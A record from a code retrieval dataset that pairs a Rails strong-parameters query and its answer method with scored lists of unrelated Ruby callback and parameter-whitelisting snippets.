"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def projeto_params
params.require(:projeto).permit(:departamento_id, :local, :metodo, :custo, :data_inicial, :data_final, :objetivo, :nome,
:resumo, :status, :publicado, :user_id, {:user_ids => []} )
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def authorize_user
if !user_signed_in? || !current_user.admin?
raise ActionController::RoutingError.new("Not Found")
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def car_params
params.require(:car).permit(:name, :description)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
